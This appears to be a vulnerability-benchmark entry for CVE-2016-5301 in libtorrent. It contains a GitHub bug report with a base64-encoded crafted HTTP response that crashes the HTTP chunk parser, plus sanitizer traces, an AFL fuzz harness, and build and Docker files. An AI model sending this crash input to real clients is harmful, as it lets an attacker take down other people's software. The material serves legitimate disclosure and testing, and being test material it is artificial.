Project: libtorrent (arvidn/libtorrent), language: c++
Vulnerability instance: libtorrent.cve-2016-5301
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/arvidn/libtorrent/issues/780
## Description:
Issue: arvidn/libtorrent#780
Title: Libtorrent crashes while parsing invalid chunked HTTP or UPnP response
State: closed
Created by: brandonprry
Created at: 2016-06-03 13:03:49+00:00

Issue Body:
libtorrent version (or branch): 1.1

platform/architecture: Linux x86_64

compiler and compiler version: Ubuntu clang version 3.6.2-1 (tags/RELEASE_362/final) (based on LLVM 3.6.2)

---

A specially crafted HTTP response from a tracker (or potentially a UPnP broadcast) can crash libtorrent in the parse_chunk_header() function. This bug was found with AFL. Let me know if you need any more information or cannot reproduce.

Base64-encoded HTTP response that should crash libtorrent:

```
SG9UUC8xLjEgMjAwIE9LDQpDb250LUxlbmd0aDogMjANCkNvbnRlbnRlOiB0bg0KVHJhbnNmZXIt
RW5jb2Rpbmc6IGNodW5rZWQNCg0NCg0KCi04OWFiYzlhYmNkZWYNCtYNClS9vb29vb29vb29ZGVm
DQrWDQpUvb29vb29vb29vb1lc3QtaGVhZHlyOiBmb29iYXINCg0K
```

ASan output:

```
ASAN:SIGSEGV
=================================================================
==10703==ERROR: AddressSanitizer: SEGV on unknown address 0xffffd734365511c3 (pc 0x0000004e6dd2 bp 0x60e00000dff9 sp 0x7ffc46732130 T0)
    #0 0x4e6dd1 in char const* std::__find_if<char const*, __gnu_cxx::__ops::_Iter_equals_val<char const> >(char const*, char const*, __gnu_cxx::__ops::_Iter_equals_val<char const>, std::random_access_iterator_tag) /usr/bin/../lib/gcc/x86_64-linux-gnu/5.2.1/../../../../include/c++/5.2.1/bits/stl_algo.h:113:19
    #1 0x4e6dd1 in char const* std::__find_if<char const*, __gnu_cxx::__ops::_Iter_equals_val<char const> >(char const*, char const*, __gnu_cxx::__ops::_Iter_equals_val<char const>) /usr/bin/../lib/gcc/x86_64-linux-gnu/5.2.1/../../../../include/c++/5.2.1/bits/stl_algo.h:161
    #2 0x4e6dd1 in char const* std::find<char const*, char>(char const*, char const*, char const&) /usr/bin/../lib/gcc/x86_64-linux-gnu/5.2.1/../../../../include/c++/5.2.1/bits/stl_algo.h:3790
    #3 0x4e6dd1 in libtorrent::http_parser::parse_chunk_header(libtorrent::buffer::const_interval, long*, int*) /root/libtorrent-libtorrent-1_1/src/http_parser.cpp:432
    #4 0x4e60e8 in libtorrent::http_parser::incoming(libtorrent::buffer::const_interval, bool&) /root/libtorrent-libtorrent-1_1/src/http_parser.cpp:348:10
    #5 0x4e013e in main /root/http_fuzz.c:38:1
    #6 0x7f242c6bfabf in __libc_start_main /build/glibc-qbmteM/glibc-2.21/csu/libc-start.c:289
    #7 0x438c98 in _start (/root/http_fuzz_asan+0x438c98)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /usr/bin/../lib/gcc/x86_64-linux-gnu/5.2.1/../../../../include/c++/5.2.1/bits/stl_algo.h:113 char const* std::__find_if<char const*, __gnu_cxx::__ops::_Iter_equals_val<char const> >(char const*, char const*, __gnu_cxx::__ops::_Iter_equals_val<char const>, std::random_access_iterator_tag)
==10703==ABORTING
```

Valgrind output:

```
==20278== Memcheck, a memory error detector
==20278== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==20278== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
==20278== Command: /root/http_fuzz id:000042,sig:11,src:000127+000181,op:splice,rep:2
==20278==
==20278== Invalid read of size 1
==20278==    at 0x409892: operator()<const char *> (predefined_ops.h:194)
==20278==    by 0x409892: __find_if<const char *, __gnu_cxx::__ops::_Iter_equals_val<const char> > (stl_algo.h:120)
==20278==    by 0x409892: __find_if<const char *, __gnu_cxx::__ops::_Iter_equals_val<const char> > (stl_algo.h:161)
==20278==    by 0x409892: find<const char *, char> (stl_algo.h:3790)
==20278==    by 0x409892: libtorrent::http_parser::parse_chunk_header(libtorrent::buffer::const_interval, long*, int*) (http_parser.cpp:432)
==20278==    by 0x408BA8: libtorrent::http_parser::incoming(libtorrent::buffer::const_interval, bool&) (http_parser.cpp:348)
==20278==    by 0x403BE7: main (http_fuzz.c:38)
==20278==  Address 0xffff76543c621153 is not stack'd, malloc'd or (recently) free'd
==20278==
==20278==
==20278== Process terminating with default action of signal 11 (SIGSEGV)
==20278==  General Protection Fault
==20278==    at 0x409892: operator()<const char *> (predefined_ops.h:194)
==20278==    by 0x409892: __find_if<const char *, __gnu_cxx::__ops::_Iter_equals_val<const char> > (stl_algo.h:120)
==20278==    by 0x409892: __find_if<const char *, __gnu_cxx::__ops::_Iter_equals_val<const char> > (stl_algo.h:161)
==20278==    by 0x409892: find<const char *, char> (stl_algo.h:3790)
==20278==    by 0x409892: libtorrent::http_parser::parse_chunk_header(libtorrent::buffer::const_interval, long*, int*) (http_parser.cpp:432)
==20278==    by 0x408BA8: libtorrent::http_parser::incoming(libtorrent::buffer::const_interval, bool&) (http_parser.cpp:348)
==20278==    by 0x403BE7: main (http_fuzz.c:38)
==20278==
==20278== HEAP SUMMARY:
==20278==     in use at exit: 73,716 bytes in 7 blocks
==20278==   total heap usage: 12 allocs, 5 frees, 73,819 bytes allocated
==20278==
==20278== LEAK SUMMARY:
==20278==    definitely lost: 0 bytes in 0 blocks
==20278==    indirectly lost: 0 bytes in 0 blocks
==20278==      possibly lost: 0 bytes in 0 blocks
==20278==    still reachable: 73,716 bytes in 7 blocks
==20278==         suppressed: 0 bytes in 0 blocks
==20278== Rerun with --leak-check=full to see details of leaked memory
==20278==
==20278== For counts of detected and suppressed errors, rerun with: -v
==20278== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
```



Comments:
Comment by brandonprry on 2016-06-03 13:19:42+00:00:
Also, fwiw, the example program I used to fuzz this is:

```
#include "libtorrent/upnp.hpp"
#include "libtorrent/socket.hpp"
#include "libtorrent/socket_io.hpp" // print_endpoint
#include <fstream>
#include <functional>
#include <boost/ref.hpp>
#include <boost/smart_ptr.hpp>
#include <iostream>

int main (int argc, char* argv[]){
  using namespace libtorrent;
  namespace lt = libtorrent;

  FILE *fp;
  long lSize;
  char *buffer;

  while (__AFL_LOOP(1000)){
    fp = fopen ( argv[1] , "rb" );
    if( !fp ) perror("blah.txt"),exit(1);

    fseek( fp , 0L , SEEK_END);
    lSize = ftell( fp );
    rewind( fp );

    /* allocate memory for entire content */
    buffer = (char*)calloc( 1, lSize+1 );
    if( !buffer ) fclose(fp),fputs("memory alloc fails",stderr),exit(1);

    /* copy the file into the buffer */
    if( 1!=fread( buffer , lSize, 1 , fp) )
      fclose(fp),free(buffer),fputs("entire read fails",stderr),exit(1);


    http_parser p;
    bool error = false;

    p.incoming(buffer::const_interval(buffer, buffer+lSize), error);


    fclose(fp);
    free(buffer);   
  }
}
```

Compiled with:

```
afl-clang-fast++ http_fuzz.c -I libtorrent-libtorrent-1_1/src/ ~/libtorrent-libtorrent-1_1/src/.libs/libtorrent-rasterbar.a -lboost_system -lboost_random -o http_fuzz
```


---

Comment by aldenml on 2016-06-03 19:10:47+00:00:
I'm not familiar with Valgrind, but for what I can see in the log, the library is using an specialized algorithm tailored to `char*`, if that's the case then the message `Invalid read of size 1` tells me that it's checking for `NULL` terminated strings.

Is this `clang` using `libstd++` instead `libc++`?


---

Comment by brandonprry on 2016-06-03 19:13:24+00:00:
I am not sure what you mean by a "specialized algorithm tailored to `char *`".

I am linked to libstdc++

```
root@w00den-fuzzer:~# ldd http_fuzz
    linux-vdso.so.1 =>  (0x00007fff9b1f6000)
    libboost_system.so.1.58.0 => /usr/lib/x86_64-linux-gnu/libboost_system.so.1.58.0 (0x00007f1b9157a000)
    libboost_random.so.1.58.0 => /usr/lib/x86_64-linux-gnu/libboost_random.so.1.58.0 (0x00007f1b91373000)
    libstdc++.so.6 => /usr/lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007f1b90ff0000)
    libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f1b90ce8000)
    libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007f1b90ad1000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1b90706000)
    /lib64/ld-linux-x86-64.so.2 (0x000055c328a1d000)
    libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f1b904e8000)
```


---

Comment by brandonprry on 2016-06-03 19:44:12+00:00:
If you want to compile the C program I provided without AFL, you should remove the `while (__AFL_LOOP(1000)){}`

It should compile with just clang then.

Also, the line that is failing is 432 in http_parser.cpp:

`char const* newline = std::find(pos, buf.end, '\n');`


---

Comment by arvidn on 2016-06-04 00:34:23+00:00:
Thanks! fix for RC_1_1 is here. https://github.com/arvidn/libtorrent/pull/782 I will back-port it to RC_1_0 once this passes CI


---

Comment by bendikro on 2016-07-12 13:34:34+00:00:
@arvidn Does that mean this will go into a v1.0.10?


---

Comment by arvidn on 2016-07-12 13:56:01+00:00:
yes


Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
mkdir -p build
cd build
cmake -DBUILD_SHARED_LIBS=Off ..
make -j$(nproc)

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make wget libssl-dev libgeoip-dev pkg-config
RUN git clone https://github.com/arvidn/libtorrent libtorrent
RUN git -C libtorrent checkout 2921caf95e851a7918026dc159b1717ef5045f30
WORKDIR $SRC/libtorrent
COPY build.sh $SRC/

Additional files: